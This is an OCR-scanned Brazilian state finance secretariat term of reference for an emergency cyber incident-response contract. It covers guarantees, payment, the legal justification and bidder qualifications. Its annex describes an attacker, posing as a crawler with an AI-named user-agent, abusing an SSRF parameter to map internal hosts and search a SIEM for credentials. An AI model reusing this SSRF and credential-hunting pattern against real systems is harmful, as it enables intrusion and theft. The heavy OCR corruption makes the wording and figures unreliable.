7.2.10. Manter durante toda a vigéncia do contrato todas as condigbes de
contratagdo de habilitagao exigidas para a contratagao.

7.2.11. Guardar sigilo sobre todas as informagdes obtidas em decorréncia do
cumprimento do contrato.

7.3.Da Garantia de Execucao

7.4. A contratagdo conta com garantia da contratagado, nos moldes do art. 96 da
Lei n® 14.133/2021, em valor correspondente a 5% (cinco por cento) do valor inicial do
contrato.

1.9 O contratado apresentara, no prazo maximo de 10 dias, prorrogaveis por igual
periodo, a critério do contratante, contado da vigéncia do contrato, comprovante de
prestagédo de garantia, quando optar por caugao em dinheiro ou titulos da divida publica
ou, ainda, pela fianga bancaria, em valor correspondente a 5% (cinco por cento) do valor
inicial do contrato.
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7.6. Em caso opgao pelo seguro-garantia, a parte adjudicataria devera apresenta-
la, no maximo, até a data de assinatura do contrato.

T7: Caso utilizada a modalidade de seguro-garantia, a apdlice devera ter validade
durante a vigéncia do contrato e por 30 dias apds o término da vigéncia contratual,
permanecendo em vigor mesmo que o contratado ndo pague o prémio nas datas
convencionadas.
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7.8. A apolice do seguro garantia devera acompanhar as modificagoes referentes
a vigéncia do contrato principal mediante a emissdo do respectivo endosso pela
seguradora.

7.9. Sera permitida a substituicido da apodlice de seguro-garantia na data de
renovacgao ou de aniversario, desde que mantidas as condigdes e coberturas da apdlice
vigente e nenhum periodo fique descoberto, ressalvado o disposto no item 4.9 deste
contrato.

7.10. Na hipétese de suspensido do contrato por ordem ou inadimplemento da
Administragéo, o contratado ficara desobrigado de renovar a garantia ou de endossar a
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apolice de seguro até a ordem de reinicio da execugdao ou o adimplemento pela
Administragao.

7.11. A garantia assegurara, qualquer que seja a modalidade escolhida, o
pagamento de:

7.11.1. Prejuizos advindos do ndo cumprimento do objeto do contrato e do nao
adimplemento das demais obrigagbes nele previstas;

7.11.2. Multas moratorias e punitivas aplicadas pela Administragdo a contratada; e

7.11.3. Obrigagdes trabalhistas e previdenciarias de qualquer natureza e para com o
FGTS, nao adimplidas pelo contratado, quando couber.

7.12. A modalidade seguro-garantia somente sera aceita se contemplar todos os
eventos indicados no item acima, observada a legislagdo que rege a matéria.

7.13. A garantia em dinheiro devera ser efetuada em favor do contratante, em conta
especifica, aberta pela contratante, com corregdo monetaria.

7.14. Caso a opgao seja por utilizar titulos da divida publica, estes devem ter sido
emitidos sob a forma escritural, mediante registro em sistema centralizado de liquidagéo
e de custodia autorizado pelo Banco Central do Brasil, e avaliados pelos seus valores
econdmicos, conforme definido pelo Ministério da Economia.

7.15. No caso de garantia na modalidade de fianga bancaria, devera ser emitida por
banco ou instituicdo financeira devidamente autorizada a operar no Pais pelo Banco
Central do Brasil, e devera constar expressa renuncia do fiador aos beneficios do artigo
827 do Codigo Civil.
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g
7.16. No caso de alteragao do valor do contrato, ou prorrogagao de sua vigéncia, a 3
garantia devera ser ajustada ou renovada, seguindo os mesmos parametros utilizados &
quando da contratagao. “:
7.17. Se o valor da garantia for utilizado total ou parcialmente em pagamento de é
qualquer obrigagao, o Contratado obriga-se a fazer a respectiva reposigcao no prazo E
maximo de 10 (dez) dias uteis, contados da data em que for notificada. Q
7.18. O Contratante executara a garantia na forma prevista na legislagéo que rege
a matéria.

7.18.1. O emitente da garantia ofertada pelo contratado devera ser notificado

pelo contratante quanto ao inicio de processo administrativo para apuragado de
descumprimento de clausulas contratuais (art. 137, § 4°, da Lei n.° 14.133/2021).

7.18.2. Caso se trate da modalidade seguro-garantia, ocorrido o sinistro
durante a vigéncia da apolice, sua caracterizagdo e comunicagdo poderado ocorrer
fora desta vigéncia, ndo caracterizando fato que justifique a negativa do sinistro,
desde que respeitados os prazos prescricionais aplicados ao contrato de seguro, nos
termos do art. 20 da Circular Susep n° 662, de 11 de abril de 2022.
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7.19. Extinguir-se-a a garantia com a restituicdo da apdlice, carta fianga ou
autorizagao para a liberacdo de importancias depositadas em dinheiro a titulo de
garantia, acompanhada de declaragao do contratante, mediante termo circunstanciado,
de que o contratado cumpriu todas as clausulas do contrato;

7.20. A garantia somente sera liberada ou restituida apos a fiel execugdo do
contrato ou apos a sua extingdo por culpa exclusiva da Administragéo e, quando em
dinheiro, sera atualizada monetariamente.

7.21. O garantidor ndo é parte para figurar em processo administrativo instaurado
pelo contratante com o objetivo de apurar prejuizos e/ou aplicar san¢des a contratada.

7.21.1. O contratado autoriza o contratante a reter, a qualquer tempo, a
garantia, na forma prevista neste Contrato.

8. CRITERIOS DE MEDICAO E DE PAGAMENTO
8.1.Do recebimento

8.1.1. Os itens 1.1, 1.2, 2.1, 2.2, 3.1 e 3.2, deverao ser recebidos em até 5 (cinco)
dias apos o fornecimento, instalagédo e ativagéo das solugdes e apresentagao
das evidéncias que demonstrem a sua funcionalidade.

8.1.2. O item 4.1 devera ser recebido em até 5 (cinco) dias apds a conclusao do
assessment e apresentacdo do Relatério de politicas e configuragdes da
Solugéo F5.
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8.1.3. Os itens 1.3, 2.3, 4.2 e 5 serao recebidos mensalmente mediante entrega do
Relatério De Atividades e Incidentes Registrados.

8.1.4. Todos os servigos serao recebidos provisoriamente, de forma sumaria, no ato
da entrega, , pelo fiscal ou comissao designada, consignando em relatério
informacées sobre a simples conferéncia da conformidade do que foi
contratado, em especial do quantitativo, marca e modelo e demais informagdes
constantes na nota fiscal.
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8.1.5. Os servigos poderdo ser rejeitados, no todo ou em parte, inclusive antes do
recebimento provisorio, quando em desacordo com as especificagoes
constantes no Termo de Referéncia e na proposta, devendo ser corrigidos no
prazo de 5 (cinco) dias, a contar da notificagdo formal por escrito a contratada,
as suas custas, sem prejuizo da aplicagdo das penalidades cabiveis.

8.1.6. Caso haja irregularidades que impegam o recebimento provisorio, o fiscal,
conforme o caso, devera solicitar ao contratado, por escrito, as respectivas
corregoes.

8.1.7. Apés o recebimento provisorio, o fiscal devera manifestar-se quanto ao
cumprimento das exigéncias técnicas e a conformidade das entregas, com
vistas a subsidiar o gestor do contrato no procedimento de recebimento
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definitivo, observados os prazos e condi¢gées estabelecidos na Ordem de
Servigo.

8.1.8. O prazo para o recebimento definitivo podera ser excepcionalmente
prorrogado, de forma devidamente justificada, quando houver necessidade de
diligéncias adicionais para afericdo do atendimento das exigéncias contratuais.

8.1.9. Estando todos os servigos em conformidade com o disposto no contrato, neste
Termo de Referéncia e seus anexos, o Gestor do contrato ou Comissao
designada para tal, lavrara o Termo Definitivo de Recebimento e solicitara a
CONTRATADA emissao da Nota Fiscal.

8.1.10. Na hipotese de controvérsia quanto a execugdao do objeto,
especialmente em relagdo a dimensado, a qualidade ou a quantidade dos
servigos, devera ser observado o disposto no art. 143 da Lei n° 14.133/2021,
possibilitando-se a liquidagdo e o pagamento da parcela incontroversa da
execugao.

8.1.11. O prazo destinado a corregao de inconsisténcias na execugédo dos
servicos ou ao saneamento da Nota Fiscal ou instrumento de cobrancga
equivalente, identificadas pela Administracdo durante a analise prévia a
liquidagdo da despesa, ndo sera computado para fins de recebimento definitivo.

8.1.12. O recebimento provisorio ou definitivo ndo exclui a responsabilidade
civil da contratada, nem a responsabilidade técnico-profissional pela perfeita
execucao do objeto contratual.
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8.1.13. O recebimento provisorio podera ser dispensado quando, em razao da
simplicidade do objeto ou da natureza da entrega, a fiscalizagdo puder emitir
diretamente o Termo de Aceite definitivo.

8.1.14. Para fins de exame da Nota Fiscal, o fiscal devera verificar se a nota
fiscal ou instrumento de cobranga equivalente apresentado expressa os
elementos necessarios e essenciais do documento, tais como:

8.1.14.1. O prazo de validade;
8.1.14.2. A data da emisséo;
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8.1.14.3. Os dados do contrato e do 6rgéo contratante;
8.1.14.4. O periodo respectivo de execugao do contrato;
8.1.14.5. O valor a pagar; e

8.1.14.6. Eventual destaque do valor de retengdes tributarias cabiveis.

8.1.15. Havendo erro na apresentagdao da nota fiscal ou instrumento de cobranca
equivalente, ou circunstancia que impeca a liquidacao da despesa, esta ficara
sobrestada até que o contratado providencie as medidas saneadoras,
reiniciando-se o prazo apos a comprovagao da regularizagao da situagao, sem
onus ao contratante;
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8.1.16. A nota fiscal ou instrumento de cobranga equivalente devera ser
obrigatoriamente acompanhado da comprovagao da regularidade fiscal.

8.1.17. O Contratado devera apresentar nota fiscal/fatura que registre o valor dos
bens/servigos, o valor liquido da nota e o valor dos impostos sujeitos a retengao
na fonte, inclusive o ISSQN (quando for o caso) e o destaque do Imposto de
Renda na Fonte (conforme disposto na IN/RFB 1.234/2012, ou a que vier a
substitui-la, e no Decreto Estadual 5.460-R/2023), os quais serdo retidos e
recolhidos diretamente pela Administragao contratante.

8.1.18. Nota Explicativa: Podera ser consultado “Manual sobre a retencao de IR no
pagamento de bens e servigos dos Orgdos estaduais”, publicado pela SEFAZ.

8.2.Do Prazo de Pagamento

8.2.1. O pagamento sera efetuado no prazo maximo de até 10 (dez) dias uteis,
contados do recebimento da nota fiscal, nos termos do art. 31 do Decreto
Estadual n°® 5545-R/2023.

8.2.2. Ao enviar a solicitagdo de pagamento, o gestor do contrato deve especificar a
data de vencimento da obrigagéo.

8.2.3. Decorrido o prazo indicado no item anterior, incidira multa financeira nos
seguintes termos:

VM = VFX 12 X ND
- 100 © 360
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Onde:

VM = Valor da Multa Financeira.
VF = Valor da Nota Fiscal referente ao més em atraso.

ND = Numero de dias em atraso.

8.2.4. Incumbirdo a Contratada a iniciativa e o encargo do calculo minucioso da
fatura devida, a ser revisto e aprovado pela Contratante, juntando-se o calculo
da fatura.
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8.2.5. A liquidagédo das despesas obedecera rigorosamente ao estabelecido na Lei
4.320/1964, assim como na Lei Estadual 2.583/1971.

8.2.6. Se houver alguma incorregéo na Nota Fiscal/Fatura, a mesma sera devolvida
a Contratada para corregao, ficando estabelecido que o prazo para pagamento
sera contado a partir da data de apresentacao na nova Nota Fiscal/Fatura, sem
qualquer 6nus ou corregao a ser paga pela Contratante.

8.3.Da Forma de Pagamento

8.3.1. Os itens 1.1, 1.2, 2.1, 2.2, 3.1, 3.2 e 4.1, serdo pagos de forma integral em
parcela Unica apos a sua concluséo.
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832 Ositens 1.3, 2.3, 4.2 e 5 serdo pagos mensalmente, no més subsequente 3
prestagdo dos servigos, mediante apresentagdo do Relatorio Mensal de
Atividades e Incidentes.

#.3.3. O pagamento sera realizado por meio de ordem bancaria, para crédito em
banco, agéncia e conta corrente indicados pelo confratado.

8.3.4. Sera considerada data do pagamento o dia em gue constar como emitida a
ordem bancaria para pagamento.

8.3.5. Quando do pagaments, sera efetuada a refengdo tributaria prevista na
legislacio aplicavel.

8.3.6. Independentements do percentual de fributo inseride na planilha, quando
houver, serdao refidos na fonte, guande da realizagdc do pagamento, os
percentuais estabelecidos na legislacio vigente.

8.3.7. O contratado regularmente optante pelo Simples Macional, nos termos da Lei
Complementar n® 123/20068, ndoc sofrera a retengao tributaria quanto aocs
impostos e confribuigbes abrangidos por aguele regime. Mo entanto, o
pagamento ficara condiclonado & apresentagio de comprovagao, por meio de
documento oficial, de que faz jus ao ratamento tributario favorecido previsto na
referida Lei Complementar.

&.4.Do Cronograma de Execugido do objeto

Mic 4
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— 23.800,92 23.200,92 23.B00,92 23200,92 23.200,92 23.200,92

4.2

B — 13431342 | 12431342 | 124.313,42 | 134.313,42 | 124.313,42 | 134.313,42
1834 130,58 145.078,16 171.183,26

TOTAL 17198326 | 171.183,26 | 171183,26 | 171183,26 | 17118326

1.350.418 58

8.4.1. Os objetos na tabela acima serdo pagos conforme a natureza da execugdc de
cada item, vedada a antecipacao de despesa.

9. FORMA E CRITERIOS DE SELEQED DO FORNECEDOR E FORMA DE
FORNECIMENTO

9.1.Forma de Selecdo e Critério de Julgamento da Proposta

8.1.1. O fornecedor serd selecionade por meio de dispensa de Licitagdo, com
fundamento no art. 75, inciso VIl & § 6° da Lein®. 14.133/2021:
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VIl - nos casos de emergéncia ou de calamidade publica, quando
caracterizada urgéncia de atendimento de situagdo que possa ocasionar
prejuizo ou comprometer a continuidade dos servigos publicos ou a
seguranga de pessoas, obras, servigos, equipamentos e outros bens,
publicos ou particulares, e somente para aquisi¢éo dos bens necessarios
ao atendimento da situagdo emergencial ou calamitosa e para as

bl
parcelas de obras e servicos que possam ser concluidas no prazo ©
maximo de 1 (um) ano, contado da data de ocorréncia da emergéncia ou &
da calamidade, vedadas a prorrogagéo dos respectivos contratos e a <Z‘:
recontratagdo de empresa ja contratada com base no disposto neste o
inciso; E
§ 6° Para os fins do inciso VIIl do caput deste artigo, considera-se © 3
emergencial a contratagdo por dispensa com objetivo de manter a = &)
continuidade do servigo publico, e deverédo ser observados os valores g z
praticados pelo mercado na forma do art. 23 desta Lei e adotadas as 5 %
providéncias necessarias para a conclusdo do processo licitatério, sem T g
prejuizo de apuragdo de responsabilidade dos agentes publicos que S §
deram causa a situagdo emergencial. =]

9.1.2. Conforme descrito neste Termo de Referéncia, o evento identificado envolveu § §
tentativas de execugdo de ordens bancarias fraudulentas em montante S g
expressivo, associadas a acessos indevidos e movimentagcado lateral em = )
sistemas criticos, evidenciando risco concreto e imediato a integridade dos S o
ativos de informacgao e a operagao financeira do Estado. g é

9.1.3. Além de possiveis prejuizos ao erario, oriundos de transferéncias ilegais e E 3
fraudulentas, conforme demonstrado nos topicos 2.2 e subsequentes, A invasao = 2
cibernética em tela atingiu o nucleo do processamento financeiro desta ; 0
Secretaria, exigindo o isolamento preventivo dos servidores que gerenciam a i 8
emissao de Ordens Bancarias (OBs). Esta medida, embora necessaria para é E
conter as transferéncias fraudulentas, resultou na interrupgcdo total dos i E
pagamentos legitimos programados pelo Poder Executivo Estadual. % s

9.1.4. A Impossibilidade de processar pagamentos a fornecedores, prestadores de ? §
servigos essenciais (saude, seguranga e educagdo) e obrigagbes § §

tributarias/previdenciarias sujeita o Estado do Espirito Santo a incidéncia de
juros de mora e multas contratuais. Portanto, a demora na remediagdo do
ambiente cibernético gera um dano financeiro direto e crescente ao Erario, que
s6 pode ser estancado com a restauragdo da integridade dos sistemas pela
contratada.

9.1.5. A manutencdo da paralisagdo do sistema de pagamentos compromete a
adimpléncia do Estado frente a contratos de manutengao de hospitais, presidios
e fornecimento de insumos basicos. A contratacdo emergencial justifica-se,
assim, nao apenas pela seguranga dos dados, mas pela urgéncia em
restabelecer a continuidade administrativa, fundamento basilar do interesse
publico.
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9.1.6. Logo, de forma pragmatica, resta configurado o nexo causal entre o evento
critico (ataque hacker), a necessidade de interrupgdo dos sistemas de
pagamento para protegéo do patriménio e a indispensabilidade de contratagao
de servigo especializado capaz de realizar a investigagao forense e a limpeza
do ambiente no menor tempo possivel, visando a retomada das operagdes

—
financeiras estaduais. S
<
9.1.7. Nesse contexto, a realizagdo de procedimento licitatorio ordinario mostra-se <
incompativel com a urgéncia exigida, uma vez que os prazos inerentes as fases Q
de publicagdo, recebimento de propostas, julgamento e homologagéo poderiam 2
resultar na ampliagdo do incidente, na exploragcdo continuada de ® 3

<
vulnerabilidades e em potenciais danos irreversiveis. 2 S
~ . . < ©
9.1.8. A contratagdo direta, portanto, configura-se como o meio adequado, s N
. o . s . . - . N
proporcional e necessario para viabilizar resposta imediata, contengdo do 5 By
incidente, preservagcado de evidéncias digitais e restabelecimento seguro dos g S
sistemas afetados, limitando-se estritamente ao atendimento da situagao i y
emergencial, em conformidade com os principios da eficiéncia, da continuidade § <
do servico publico e da supremacia do interesse publico. § Q
= 74
9.2.Da Forma de Fornecimento 2 8
=4 E
9.2.1. O fornecimento do objeto sera continuado no regime de empreitada por prego S &
o} =
global. & S
= 0
9.2.2. O fornecimento sera continuado a medida em que sanados os efeitos do z Q
incidente em curso, faz se necessario o monitoramento do ambiente por prazo 3 "
suficiente a fim de mitigar o risco de persisténcia e reincidéncia do ataque & g
realizado, sendo sua continuidade preponderantes para a Seguranga dos ativos Q E
de tecnologiaa e de informagao da SEFAZ assim como para preservagao do & o
erario publico e dos servigos essenciais prestados a sociedade pelo. § ¥
o

[aa]
9.2.3. A contratagao pelo regime de Empreitada por Prego Global reside no fato do g g
servico objeto ser perfeitamente definido por meio de ferramentas e frameworks § §
~ I3V

amplamente conhecidos e utilizados no mercado. Este regime permite fixar um
preco total e invariavel para a entrega integral do objeto, transferindo para o
contratado a maior parte dos riscos de quantificagéo e custos, garantindo assim
uma maior previsibilidade e controle orgamentario para o 6rgao contratante.

9.3.Das Exigéncias de Habilitacao

9.3.1. A definicdo dos requisitos de habilitagdo técnica e econdmico-financeira
previstos no Anexo |l fundamenta-se na necessidade de assegurar que o
fornecedor contratado detenha capacidade comprovada para lidar com
situagoes criticas de seguranga da informagao em ambientes complexos como
o da SEFAZ.

aquisicoes@sefaz.es.gov.br (27)3347-5545 Awv. Joao Batista Parra, 600 - Enseada do Sua CEP: 29.050-375 - Vitoria / ES




SECRETARIA DE ESTADO DA FAZENDA

SECRETARIA DE ESTADO DA FAZENDA

Geréncia de Tecnologia da Informacao

10.ESTIMATIVAS DO VALOR DA CONTRATAGAO

10.1. A presente contratacgio foi estimada em R$ 2.806.236,23 (dois milhdes, oitocentos
e seis mil, duzentos e trinta e seis reais e vinte e trés centavos).

10.2. A proposta apresentada foi analisada e considerada compativel com os pregos
praticados no mercado, com base em propostas de outros fornecedores e também
através da comparagao objetiva com contratos firmados pela administragédo publica
para objetos similares, resguardadas as proporgdes e a excepcionalidade da
contratagdo emergencial.

10.2.1. Dada a urgéncia da situagdo ja descrita e a necessidade de atuagao
imediata, sabendo que a pesquisa de precos sera ampliada pelo setor
competente, entendemos que estes elementos séo suficientes para estimar o
valor da contratagao.

10.3. Ressalta-se que, em contratacbes emergenciais, a avaliagdo de prego deve
considerar, além do valor nominal, fatores como:

10.3.1. Disponibilidade imediata;
10.3.2. Especializagéo técnica;
10.3.3. Criticidade do servigo.

10.4. Dessa forma, conclui-se que o prego € razoavel, compativel com o mercado e
proporcional a urgéncia e complexidade do objeto, atendendo ao disposto no art. 23
da Lei n® 14.133/2021.
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11. ADEQUAGAO ORGAMENTARIA

11.1. As despesas decorrentes da presente contratagdo correrdo a conta de recursos
especificos consignados no Orgamento que estardo dispostas em tépico especifico
do contrato.
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12.SANGOES ADMINISTRATIVAS

12.1. As sangdes estarao previstas em topico especifico do contrato.

Vitoria, 10 de abril de 2026.
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ANEXO | - REQUISITOS DE HABILITAGAO
Para fins de habilitagcao, devera o licitante comprovar os seguintes requisitos:
1. HABILITAGAO JURIDICA

1.1.Pessoa fisica: cédula de identidade (RG) ou documento equivalente que, por forca
de lei, tenha validade para fins de identificagdo em todo o territorio nacional;

1.2.Empresario individual: inscricdo no Registro Publico de Empresas Mercantis, a
cargo da Junta Comercial da respectiva sede;

1.3.Microempreendedor Individual (MEI): Certificado da Condigdo de
Microempreendedor Individual - CCMEI, cuja aceitagdo ficara condicionada a
verificagdo da autenticidade no sitio https://www.gov.br/empresas-e-negocios/pt-
br/empreendedor;

1.4.Sociedade empresaria, sociedade limitada unipessoal ou sociedade
identificada como empresa individual de responsabilidade limitada: inscricdo
do ato constitutivo, estatuto ou contrato social no Registro Publico de Empresas
Mercantis, a cargo da Junta Comercial da respectiva sede, acompanhada de
documento comprobatdrio de seus administradores;

1.5.Sociedade empresaria estrangeira: portaria de autorizagéo de funcionamento no
Brasil, publicada no Diario Oficial da Unido e arquivada na Junta Comercial da
unidade federativa onde se localizar a filial, agéncia, sucursal ou estabelecimento,
a qual sera considerada como sua sede, conforme Instrugdo Normativa DREI/ME
n.° 77, de 18 de marco de 2020.

1.6.Sociedade simples: inscrigdo do ato constitutivo no Registro Civil de Pessoas
Juridicas do local de sua sede, acompanhada de documento comprobatorio de seus
administradores;

1.7.Filial, sucursal ou agéncia de sociedade simples ou empresaria: inscricdo do
ato constitutivo da filial, sucursal ou agéncia da sociedade simples ou empresaria,
respectivamente, no Registro Civil das Pessoas Juridicas ou no Registro Publico de
Empresas Mercantis onde opera, com averbagao no Registro onde tem sede a
matriz;

1.8.Sociedade cooperativa: ata de fundagcdo e estatuto social, com a ata da
assembleia que o aprovou, devidamente arquivado na Junta Comercial ou inscrito
no Registro Civil das Pessoas Juridicas da respectiva sede, além do registro de que
trata o art. 107 da Lei n°® 5.764, de 16 de dezembro 1971.

1.9. Agricultor familiar: Declaragao de Aptidao ao Pronaf — DAP ou DAP-P valida, ou,
ainda, outros documentos definidos pela Secretaria Especial de Agricultura Familiar
e do Desenvolvimento Agrario, nos termos do art. 4°, §2° do Decreto n° 10.880, de
2 de dezembro de 2021.
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1.10. Produtor Rural: matricula no Cadastro Especifico do INSS — CEIl, que
comprove a qualificagdo como produtor rural pessoa fisica, nos termos da Instrugéo
Normativa RFB n. 971, de 13 de novembro de 2009 (arts. 17 a 19 e 165).

1.11. Os documentos apresentados deverdo estar acompanhados de todas as
alteragdes ou da consolidagao respectiva.

2. HABILITAGAO FISCAL, SOCIAL E TRABALHISTA

2.1.Prova de inscricgdo no Cadastro Nacional de Pessoas Juridicas (CNPJ) ou no
Cadastro de Pessoas Fisicas (CPF), conforme o caso;

2.2.Prova de inscrigao no cadastro de contribuintes estadual e/ou municipal relativo ao
domicilio ou sede do fornecedor, pertinente ao seu ramo de atividade e compativel
com o objeto contratual;

2.3.Caso o fornecedor seja considerado isento dos tributos estaduais ou municipais
relacionados ao objeto contratual, devera comprovar tal condicdo mediante a
apresentacao de declaragdo da Fazenda respectiva do seu domicilio ou sede, ou
outra equivalente, na forma da lei.

2.4.0 fornecedor enquadrado como microempreendedor individual que pretenda auferir
os beneficios do tratamento diferenciado previstos na Lei Complementar 123/2006
estara dispensado da prova de inscricdo nos cadastros de contribuintes estadual e
municipal.
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2.5.Prova de regularidade fiscal perante a Fazenda Nacional, mediante apresentacao
de certiddo negativa ou positiva com efeito de negativa, expedida conjuntamente
pela Receita Federal do Brasil (RFB) e pela Procuradoria-Geral da Fazenda
Nacional (PGFN), referente aos créditos tributarios federais e a Divida Ativa da
Uniao por elas administrados, inclusive aqueles relativos a Seguridade Social;

2.6.Prova de regularidade com a Fazenda Estadual (onde for sediada a empresa e a do
Estado do Espirito Santo, quando a sede nZo for deste Estado);
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2.7.Prova de regularidade com a Fazenda Publica Municipal da sede da licitante;

2.8.Prova de regularidade com o Fundo de Garantia do Tempo de Servigo (FGTS),
mediante certiddo expedida pela Caixa Econdmica Federal;

2.9.Prova de regularidade perante a Justica do Trabalho, mediante a apresentagao de
certiddo negativa ou positiva com efeito de negativa, nos termos do Titulo VII-A da
Consolidagao das Leis do Trabalho;

2.10. Caso o objeto contratual venha a ser cumprido por filial da licitante, os
documentos exigidos neste item também deverao ser apresentados pela filial
executora do contrato, sem prejuizo para a exigéncia de apresentagdo dos
documentos relativos a sua matriz.
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2.11. Nos casos de microempresas, empresas de pequeno porte ou equiparadas,
nao se exige comprovagado de regularidade fiscal para fins de habilitagdo, mas
somente para formalizagdo da contratagao, observadas as seguintes regras:

2.12. A licitante devera apresentar, a época da habilitagao, todos os documentos
exigidos para efeito de comprovagao de regularidade fiscal, mesmo que apresentem
alguma restrigao.

2.13. Havendo alguma restricdo na comprovacao da regularidade fiscal ou
trabalhista, € assegurado o prazo de 5 (cinco) dias uteis, cujo termo inicial
correspondera ao momento em que o proponente for declarado vencedor do
certame, para a regularizagao da documentagao, pagamento ou parcelamento do
débito, e emissdo de eventuais certidées negativas ou positivas com efeito de
certiddo negativa.

2.14. O prazo a que se refere o item anterior podera, a critério da Administragao
Publica, ser prorrogado por igual periodo.

2.15. Em caso de atraso por parte do 6rgao competente para emissédo de certiddes
comprobatérias de regularidade fiscal, ou trabalhista, a licitante podera apresentar
a Administragao outro documento que comprove a extingao ou suspensao do crédito
tributario, respectivamente, nos termos dos arts. 156 e 151 do Codigo Tributario
Nacional, acompanhado de prova do protocolo do pedido de certidao.

2.16. Na hipotese descrita no inciso anterior, a licitante tera o prazo de 10 (dez)
dias, contado da apresentagdo dos documentos a que se refere o paragrafo anterior,
para apresentar a certiddo comprobatoria de regularidade fiscal ou trabalhista.
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2.17. O prazo a que se refere o item anterior podera, a critério da Administragao
Publica, ser prorrogado por igual periodo, uma unica vez, se demonstrado pela
licitante a impossibilidade de o 6rgao competente emitir a certidao.

2.18. A formalizagdo da contratagdo fica condicionada a regularizagdo da
documentagdo comprobatoria de regularidade fiscal e trabalhista, nos termos dos
incisos anteriores, sob pena de decadéncia do direito a contratagdo, sem prejuizo
da aplicagdo das sangdes legais, sendo facultado a Administragdo convocar as
licitantes remanescentes e com elas contratar, observada a ordem de classificagao,
ou revogar a licitagao.
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3. HABILITAGAO TECNICA

3.1.Comprovagao de aptidao para execugéo de servigo de complexidade equivalente
ou superior com o objeto desta contratagao, ou com o item pertinente, por meio da
apresentacao de certidoes ou atestados, emitidos por pessoas juridicas de direito
publico ou privado, ou regularmente emitidos pelo conselho profissional
competente, quando for o caso.

3.2.Para fins da comprovagao de que trata este subitem, os atestados deverado dizer
respeito a contratos executados com as seguintes caracteristicas minimas:
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3.2.1. Resposta a incidente de seguranga em ambientes de alta complexidade;
3.2.2. Contengao, Erradicagéo e Recuperagao
3.2.3. Analise Forense Digital

3.3.Sera admitida, para fins de comprovagéao de quantitativo minimo, a apresentagéo e
o somatorio de diferentes atestados de servigos executados de forma concomitante,
pois essa situagao equivale, para fins de comprovagao de capacidade técnico-
operacional, a uma unica contratagéo.

3.4.0s atestados de capacidade técnica podem ser apresentados em nome da matriz
ou da filial da empresa licitante.

3.5.Em caso de apresentagao por licitante de atestado de desempenho anterior emitido
em favor de consoércio do qual tenha feito parte, observar-se-a o disposto no art. 67,
§§ 10 e 11, da Lei 14.133/2021.

3.6.0 licitante disponibilizara todas as informagdes necessarias a comprovagao da
legitimidade dos atestados, apresentando, quando solicitado pela Administracao,
copia do contrato que deu suporte a contratagéo, enderecgo atual da contratante e
local em que foram prestados os servigos, entre outros documentos.

4. HABILITACAO ECONOMICO-FINANCEIRA

4.1.Certidao negativa de insolvéncia civil expedida pelo distribuidor do domicilio ou
sede do licitante, caso se trate de sociedade simples ou de pessoa fisica, desde que
admitida a sua participagao na licitagao;
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4.2.Certidao negativa de faléncia expedida pelo distribuidor da sede do licitante, para
as demais pessoas juridicas;

4.3. Caso a licitante se encontre em processo de recuperacao judicial ou extrajudicial,
devera apresentar certiddo emitida pela instancia judicial competente certificando
que a interessada esta apta econémica e financeiramente a participar da licitagao,
além de cumprir todos os demais requisitos de habilitagao exigidos por este Edital.
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4.4.Balango Patrimonial (BP) e Demonstraciao de Resultado de Exercicio (DRE)
dos 2 (dois) ultimos exercicios sociais, comprovando:

4.5.indices de Liquidez Geral (LG), Liquidez Corrente (LC), e Solvéncia Geral (SG)
superiores a 1 (um):

ATIVO CIRCULANTE (AC) + REALIZAVEL A LONGO PRAZO (RLP)

ILG = =
PASSIVO CIRCULANTE (PC) + PASSIVO NAO CIRCULANTE (PNC)

ATIVO TOTAL (AT)
ISG =

PASSIVO CIRCULANTE (PC) + PASSIVO NAO CIRCULANTE (PNC)
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ATIVO CIRCULANTE (AC)

S PASSIVO CIRCULANTE (PC)

4.6.Quando qualquer dos indices for igual ou inferior a 1 (um), podera o licitante atender
ao requisito de habilitagdo demonstrando patriménio liquido n&o inferior a 10% (dez
por cento) do valor estimado da contratagéo.

4.7.0s documentos referidos acima (BP e DRE) serdo os ja exigiveis na forma da lei,
com base no limite definido pela Receita Federal do Brasil para transmissao da
Escrituragdo Contabil Digital (ECD) ao SPED ou, se a empresa nao estiver obrigada
ao SPED, observando a data de exigibilidade do art. 1.078, |, do Cédigo Civil.

4.8.Declaracao assinada por profissional habilitado da area contabil, apresentada
pelo licitante, demonstrando o atendimento dos indices e coeficientes para cada
exercicio a que se referem as demonstragdes contabeis, bem como demonstrando
o patriménio liquido minimo exigido no ultimo exercicio.

4.9.As empresas criadas no exercicio financeiro da licitagao deverdo atender a todas
as exigéncias da habilitagao e poderao substituir os demonstrativos contabeis pelo
balango de abertura.

4.10. Os documentos referidos acima limitar-se-&o ao ultimo exercicio no caso de a
pessoa juridica ter sido constituida ha menos de 2 (dois) anos.
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4.11. No caso de consorcio, se admitida a sua participagao no edital, devera haver
a demonstragao, por cada consorciado, do atendimento aos indices contabeis
definidos neste Edital.
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ANEXO Il - DOS ELEMENTOS PARA A CONTRATAGAO EMERGENCIAL

DA LINHA DO TEMPO DOS EVENTOS

—

[{e]

Dia 01/02 — Reconhecimento passivo (p1 e p2) =

<

2

O servidor web é utilizado como pivé de SSRF desde o inicio. Nessa fase, o atacante ainda se o

<C

comporta como um crawler legitimo (user-agent ClaudeUser/1.0), varrendo paginas publicas como o

© <

/informacoes/fiscalizacao/, /informacoes/tributacao/ e /informacoes/sintegra/. Trata-se de coleta f; >

B -

de inteligéncia sobre o sistema-alvo antes de qualquer agdo ofensiva. = Q

. 3

Dia 3 - 03:25 — Descoberta da vulnerabilidade SSRF (p2) S §
o

2 y

A primeira requisicdo maliciosa confirma a vulnerabilidade: download.php?pdfLink=[IP] retorna 8 ‘Z‘:

S O

HTTP 200 com 77 KB de conteudo — o servidor faz o fetch e devolve o resultado. A partir desse e T

(@]

momento, o parametro pdfLink torna-se o principal canal de ataque durante todo o incidente. ?é 9
. & (@]

Dia 3 - 03:29-03:36 — Mapeamento da rede interna via SSRF (p2) o %

E O

: 3

Usando o download.php como proxy, o atacante varre sistematicamente a rede interna: :j ”

a Q

% 8

¢ [hostname] (helpdesk) — paginas, API, token exposto g 0

i 3

! >

* [IP]:8080 e [IP]:8080 — servidor web s é

@ o

g @

¢ [IP]:9000 —(SIEM interno) com credenciais expostas § §

« ~

« [IP]:8530 — WSUS

Dia 3 - 03:36—04:50 — Exfiltracao do SIEM (p2)

Com acesso confirmado ao SIEM via, o atacante extrai logs internos buscando ativamente por
credenciais: queries como password OR senha OR login OR credential, jdbc, ssh, vpn, oracle nos
Gltimos 30 dias. Uma query retornou 255 KB de dados (/api/search/...query=password, resposta 200

